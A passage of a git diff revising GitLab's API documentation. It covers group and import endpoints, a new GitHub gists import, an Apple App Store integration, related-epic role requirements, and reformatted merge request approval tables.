id="unionedissuefilterinputassigneeusernames"></a>`assigneeUsernames` | [`[String!]`](#string) | Filters issues that are assigned to at least one of the given users. | | <a id="unionedissuefilterinputauthorusernames"></a>`authorUsernames` | [`[String!]`](#string) | Filters issues that are authored by one of the given users. | +| <a id="unionedissuefilterinputlabelnames"></a>`labelNames` | [`[String!]`](#string) | Filters issues that have at least one of the given labels. | ### `UpdateDiffImagePositionInput` diff --git a/doc/api/graphql/users_example.md b/doc/api/graphql/users_example.md index 9d223f9e618..83cc2d6ac5e 100644 --- a/doc/api/graphql/users_example.md +++ b/doc/api/graphql/users_example.md @@ -12,7 +12,6 @@ You can run the same query directly via a HTTP endpoint, using `cURL`. For more guidance on getting started from the [command line](getting_started.md#command-line). The [example users query](#set-up-the-graphiql-explorer) looks for a subset of users in -o a GitLab instance either by username or [Global ID](../../development/api_graphql_styleguide.md#global-ids). The query includes: @@ -82,7 +81,7 @@ NOTE: a single integer. This GraphQL query returns the specified information for the three users with the listed username. Since the GraphiQL explorer uses the session token to authorize access to resources, -the output is limited to the projects and groups accessible to the currently signed-in user. +the output is limited to the projects and groups accessible to the currently authenticated user. If you've signed in as an instance administrator, you would have access to all records, regardless of ownership. diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md index 14146745d86..46f0a28e945 100644 --- a/doc/api/group_badges.md +++ b/doc/api/group_badges.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md index 6ca4cc1d080..f6b47118b5f 100644 --- a/doc/api/group_level_variables.md +++ b/doc/api/group_level_variables.md @@ -93,7 +93,7 @@ POST /groups/:id/variables | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | | `raw` | boolean | no | Whether the variable is expandable | -| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | +| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ @@ -129,7 +129,7 @@ PUT /groups/:id/variables/:key | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | | `raw` | boolean | no | Whether the variable is expandable | -| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | +| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md index a4baf7936dd..a207775cf45 100644 --- a/doc/api/group_repository_storage_moves.md +++ b/doc/api/group_repository_storage_moves.md @@ -239,6 +239,8 @@ Example response: ## Schedule repository storage moves for all groups on a storage shard Schedules repository storage moves for each group repository stored on the source storage shard. +This endpoint migrates all groups at once. For more information, see +[Move all groups](../administration/operations/moving_repositories.md#move-all-groups). ```plaintext POST /group_repository_storage_moves diff --git a/doc/api/groups.md b/doc/api/groups.md index d017876b9c2..0e093759a80 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -217,7 +217,7 @@ GET /groups/:id/descendant_groups { "id": 2, "name": "Bar Group", - "path": "foo/bar", + "path": "bar", "description": "A subgroup of Foo Group", "visibility": "public", "share_with_group_lock": false, @@ -242,7 +242,7 @@ GET /groups/:id/descendant_groups { "id": 3, "name": "Baz Group", - "path": "foo/bar/baz", + "path": "baz", "description": "A subgroup of Bar Group", "visibility": "public", "share_with_group_lock": false, @@ -830,8 +830,8 @@ Parameters: | `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). | | `visibility` | string | no | The group's visibility. Can be `private`, `internal`, or `public`. | | `membership_lock` **(PREMIUM)** | boolean | no | Users cannot be added to projects in this group. | -| `extra_shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | -| `shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | +| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | +| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | ### Options for `default_branch_protection` @@ -985,11 +985,11 @@ PUT /groups/:id | `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#create-a-subgroup). Can be `owner` (Owners), or `maintainer` (users with the Maintainer role). | | `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). | | `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. | -| `extra_shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | +| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | | `file_template_project_id` **(PREMIUM)** | integer | no | The ID of a project to load custom file templates from. | | `membership_lock` **(PREMIUM)** | boolean | no | Users cannot be added to projects in this group. | | `prevent_forking_outside_group` **(PREMIUM)** | boolean | no | When enabled, users can **not** fork projects from this group to external namespaces. | -| `shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | +| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | | `unique_project_download_limit` **(ULTIMATE)** | integer | no | Maximum number of unique projects a user can download in the specified time period before they are banned. Available only on top-level groups. Default: 0, Maximum: 10,000. | | `unique_project_download_limit_interval_in_seconds` **(ULTIMATE)** | integer | no | Time period during which a user can download a maximum amount of projects before they are banned. Available only on top-level groups. Default: 0, Maximum: 864,000 seconds (10 days). | | `unique_project_download_limit_allowlist` **(ULTIMATE)** | array of strings | no | List of usernames excluded from the unique project download limit. Available only on top-level groups. Default: `[]`, Maximum: 100 usernames. | @@ -1025,7 +1025,7 @@ Example response: "web_url": "http://gitlab.example.com/groups/h5bp", "request_access_enabled": false, "full_name": "Foobar Group", - "full_path": "foo-bar", + "full_path": "h5bp", "file_template_project_id": 1, "parent_id": null, "created_at": "2020-01-15T12:36:29.590Z", @@ -1099,8 +1099,9 @@ The `shared_runners_setting` attribute determines whether shared runners are ena | Value | Description | |-------|-------------------------------------------------------------------------------------------------------------| | `enabled` | Enables shared runners for all projects and subgroups in this group. | -| `disabled_with_override` | Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. | +| `disabled_and_overridable` | Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. | | `disabled_and_unoverridable` | Disables shared runners for all projects and subgroups in this group, and prevents subgroups from overriding this setting. | +| `disabled_with_override` | (Deprecated. Use `disabled_and_overridable`) Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. | ### Upload a group avatar @@ -1702,7 +1703,7 @@ DELETE /groups/:id/share/:group_id > Introduced in GitLab 13.4. -### Get group push rules **(PREMIUM)** +### Get group push rules Get the [push rules](../user/group/access_and_permissions.md#group-push-rules) of a group. @@ -1745,7 +1746,7 @@ the `commit_committer_check` and `reject_unsigned_commits` parameters: } ``` -### Add group push rule **(PREMIUM)** +### Add group push rule Adds [push rules](../user/group/access_and_permissions.md#group-push-rules) to the specified group. @@ -1792,7 +1793,7 @@ Response: } ``` -### Edit group push rule **(PREMIUM)** +### Edit group push rule Edit push rules for a specified group. @@ -1839,7 +1840,7 @@ Response: } ``` -### Delete group push rule **(PREMIUM)** +### Delete group push rule Deletes the [push rules](../user/group/access_and_permissions.md#group-push-rules) of a group. diff --git a/doc/api/import.md b/doc/api/import.md index 7a1eb4fe8b3..407f1974f7d 100644 --- a/doc/api/import.md +++ b/doc/api/import.md @@ -8,8 +8,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Import repository from GitHub +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups if the namespace or group name specified in `target_namespace` doesn't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken or `target_namespace` is blank. + Import your projects from GitHub to GitLab using the API. +The namespace set in `target_namespace` must exist. The namespace can be your user namespace or an existing group that you have at least the Developer role for. + ```plaintext POST /import/github ``` @@ -18,8 +22,8 @@ POST /import/github |-------------------------|---------|----------|-------------------------------------------------------------------------------------| | `personal_access_token` | string | yes | GitHub personal access token | | `repo_id` | integer | yes | GitHub repository ID | -| `new_name` | string | no | New repository name | -| `target_namespace` | string | yes | Namespace to import repository into. Supports subgroups like `/namespace/subgroup` | +| `new_name` | string | no | New repository name | +| `target_namespace` | string | yes | Namespace to import repository into. Supports subgroups like `/namespace/subgroup`. In GitLab 15.8 and later, must not be blank | | `github_hostname` | string | no | Custom GitHub Enterprise hostname. Do not set for GitHub.com. | | `optional_stages` | object | no | [Additional items to import](../user/project/import/github.md#select-additional-items-to-import). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/373705) in GitLab 15.5 | @@ -116,6 +120,44 @@ Returns the following status codes: - `400 Bad Request`: the project import cannot be canceled. - `404 Not Found`: the project associated with `project_id` does not exist. +## Import GitHub gists into GitLab snippets + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/371099) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `github_import_gists`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, +ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `github_import_gists`. + +You can use the GitLab API to import personal GitHub gists (with up to 10 files) into personal GitLab snippets. +GitHub gists with more than 10 files are skipped. You should manually migrate these GitHub gists. + +If any gists couldn't be imported, an email is sent with a list of gists that were not imported. + +```plaintext +POST /import/github/gists +``` + +| Attribute | Type | Required | Description | +|------------|---------|----------|---------------------| +| `personal_access_token` | string | yes | GitHub personal access token | + +```shell +curl --request POST \ + --url "https://gitlab.example.com/api/v4/import/github/gists" \ + --header "content-type: application/json" \ + --header "PRIVATE-TOKEN: <your_gitlab_access_token>" \ + --data '{ + "personal_access_token": "<your_github_personal_access_token>" +}' +``` + +Returns the following status codes: + +- `202 Accepted`: the gists import is being started. +- `401 Unauthorized`: user's GitHub personal access token is invalid. +- `422 Unprocessable Entity`: the gists import is already in progress. +- `429 Too Many Requests`: the user has exceeded GitHub's rate limit. + ## Import repository from Bitbucket Server Import your projects from Bitbucket Server to GitLab via the API. diff --git a/doc/api/index.md b/doc/api/index.md index ef054318c5c..8075b667a67 100644 --- a/doc/api/index.md +++ b/doc/api/index.md @@ -59,7 +59,6 @@ month. Major API version changes, and removal of entire API versions, are done i with major GitLab releases. All deprecations and changes between versions are in the documentation. -For the changes between v3 and v4, see the [v3 to v4 documentation](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md). ### Current status diff --git a/doc/api/integrations.md b/doc/api/integrations.md index f6ad095aad6..24e0f189aad 100644 --- a/doc/api/integrations.md +++ b/doc/api/integrations.md @@ -72,6 +72,44 @@ Example response: ] ``` +## Apple App Store + +Use GitLab to build and release an app in the Apple App Store. + +See also the [Apple App Store integration documentation](../user/project/integrations/apple_app_store.md). + +### Create/Edit Apple App Store integration + +Set Apple App Store integration for a project. + +```plaintext +PUT /projects/:id/integrations/apple_app_store +``` + +Parameters: + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `app_store_issuer_id` | string | true | The Apple App Store Connect Issuer ID. | +| `app_store_key_id` | string | true | The Apple App Store Connect Key ID. | +| `app_store_private_key` | string | true | The Apple App Store Connect Private Key. | + +### Disable Apple App Store integration + +Disable the Apple App Store integration for a project. Integration settings are preserved. + +```plaintext +DELETE /projects/:id/integrations/apple_app_store +``` + +### Get Apple App Store integration settings + +Get Apple App Store integration settings for a project. + +```plaintext +GET /projects/:id/integrations/apple_app_store +``` + ## Asana Add commit messages as comments to Asana tasks. diff --git a/doc/api/linked_epics.md b/doc/api/linked_epics.md index 77540f37054..c240b3255c6 100644 --- a/doc/api/linked_epics.md +++ b/doc/api/linked_epics.md @@ -89,10 +89,10 @@ Example response: ## Create a related epic link -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8. -Create a two-way relation between two epics. The user must be allowed to -update both epics to succeed. +Create a two-way relation between two epics. The user must have at least the Guest role for both groups. ```plaintext POST /groups/:id/epics/:epic_iid/related_epics @@ -208,10 +208,10 @@ Example response: ## Delete a related epic link -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8. -Delete a two-way relation between two epics. The user must be allowed to -update both epics to succeed. +Delete a two-way relation between two epics. The user must have at least the Guest role for both groups. ```plaintext DELETE /groups/:id/epics/:epic_iid/related_epics/:related_epic_link_id diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index d9777b87ff2..12f6ab318c9 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -16,7 +16,8 @@ in the project. Must be authenticated for all endpoints. ### Get Configuration -> Moved to GitLab Premium in 13.9. +> - Moved to GitLab Premium in 13.9. +> - The `approvers` and `approver_groups` fields were deprecated in GitLab 12.3 and always return empty. Use the [project level approval rules](#get-project-level-rules) to access this information. You can request information about a project's approval configuration using the following endpoint: @@ -27,12 +28,14 @@ GET /projects/:id/approvals Supported attributes: -| Attribute | Type | Required | Description | -| --------- | ------- | -------- | ------------------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| Attribute | Type | Required | Description | +|-----------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | ```json { + "approvers": [], // Deprecated in GitLab 12.3, always returns empty + "approver_groups": [], // Deprecated in GitLab 12.3, always returns empty "approvals_before_merge": 2, "reset_approvals_on_push": true, "selective_code_owner_removals": false, @@ -56,16 +59,16 @@ POST /projects/:id/approvals Supported attributes: -| Attribute | Type | Required | Description | -| ------------------------------------------------ | ------- | -------- | -- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_before_merge` (deprecated) | integer | **{dotted-circle}** No | How many approvals are required before a merge request can be merged. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/11132) in GitLab 12.3. | -| `disable_overriding_approvers_per_merge_request` | boolean | **{dotted-circle}** No | Allow or prevent overriding approvers per merge request. | -| `merge_requests_author_approval` | boolean | **{dotted-circle}** No | Allow or prevent authors from self approving merge requests; `true` means authors can self approve. | -| `merge_requests_disable_committers_approval` | boolean | **{dotted-circle}** No | Allow or prevent committers from self approving merge requests. | -| `require_password_to_approve` | boolean | **{dotted-circle}** No | Require approver to enter a password to authenticate before adding the approval. | -| `reset_approvals_on_push` | boolean | **{dotted-circle}** No | Reset approvals on a new push. | -| `selective_code_owner_removals` | boolean | **{dotted-circle}** No | Reset approvals from Code Owners if their files changed. Can be enabled only if `reset_approvals_on_push` is disabled. | +| Attribute | Type | Required | Description | +|--------------------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_before_merge` (deprecated) | integer | **{dotted-circle}** No | How many approvals are required before a merge request can be merged. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/11132) in GitLab 12.3. | +| `disable_overriding_approvers_per_merge_request` | boolean | **{dotted-circle}** No | Allow or prevent overriding approvers per merge request. | +| `merge_requests_author_approval` | boolean | **{dotted-circle}** No | Allow or prevent authors from self approving merge requests; `true` means authors can self approve. | +| `merge_requests_disable_committers_approval` | boolean | **{dotted-circle}** No | Allow or prevent committers from self approving merge requests. | +| `require_password_to_approve` | boolean | **{dotted-circle}** No | Require approver to enter a password to authenticate before adding the approval. | +| `reset_approvals_on_push` | boolean | **{dotted-circle}** No | Reset approvals on a new push. | +| `selective_code_owner_removals` | boolean | **{dotted-circle}** No | Reset approvals from Code Owners if their files changed. Can be enabled only if `reset_approvals_on_push` is disabled. | ```json { @@ -97,9 +100,9 @@ Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) par Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| Attribute | Type | Required | Description | +|-----------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | ```json [ @@ -199,10 +202,10 @@ GET /projects/:id/approval_rules/:approval_rule_id Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | +| Attribute | Type | Required | Description | +|--------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | ```json { @@ -301,18 +304,18 @@ POST /projects/:id/approval_rules Supported attributes: -| Attribute | Type | Required | Description | -|-------------------------------------|-------------------|----------|------------ | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | -| `report_type` | string | **{dotted-circle}** No | The report type required when the rule type is `report_approver`. The supported report types are `license_scanning` and `code_coverage`. | -| `rule_type` | string | **{dotted-circle}** No | The type of rule. `any_approver` is a pre-configured default rule with `approvals_required` at `0`. Other rules are `regular`. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | +| `report_type` | string | **{dotted-circle}** No | The report type required when the rule type is `report_approver`. The supported report types are `license_scanning` and `code_coverage`. | +| `rule_type` | string | **{dotted-circle}** No | The type of rule. `any_approver` is a pre-configured default rule with `approvals_required` at `0`. Other rules are `regular`. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | ```json { @@ -430,18 +433,18 @@ PUT /projects/:id/approval_rules/:approval_rule_id Supported attributes: -| Attribute | Type | Required | Description | -|-------------------------------------|-------------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | -| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | +| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | ```json { @@ -537,10 +540,10 @@ DELETE /projects/:id/approval_rules/:approval_rule_id Supported attributes: -| Attribute | Type | Required | Description | -|--------------------|-------------------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | +| Attribute | Type | Required | Description | +|--------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | ## Merge request-level MR approvals @@ -559,10 +562,10 @@ GET /projects/:id/merge_requests/:merge_request_iid/approvals Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|-------------------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json { @@ -612,11 +615,11 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|-------------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | Approvals required before MR can be merged. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|----------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | Approvals required before MR can be merged. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json { @@ -653,10 +656,10 @@ This includes additional information about the users who have already approved Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|-------------------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json { @@ -723,10 +726,10 @@ Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) par Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|---------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json [ @@ -800,11 +803,11 @@ GET /projects/:id/merge_requests/:merge_request_iid/approval_rules/:approval_rul Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | ```json { @@ -876,16 +879,16 @@ POST /projects/:id/merge_requests/:merge_request_iid/approval_rules Supported attributes: -| Attribute | Type | Required | Description | -|----------------------------|---------|----------|------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `approval_project_rule_id` | integer | **{dotted-circle}** No | The ID of a project-level approval rule. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|----------------------------|-------------------|------------------------|------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `approval_project_rule_id` | integer | **{dotted-circle}** No | The ID of a project-level approval rule. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | **Important:** When `approval_project_rule_id` is set, the `name`, `users` and `groups` of project-level rule are copied. The `approvals_required` specified @@ -966,17 +969,17 @@ These are system generated rules. Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|---------|----------|------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | 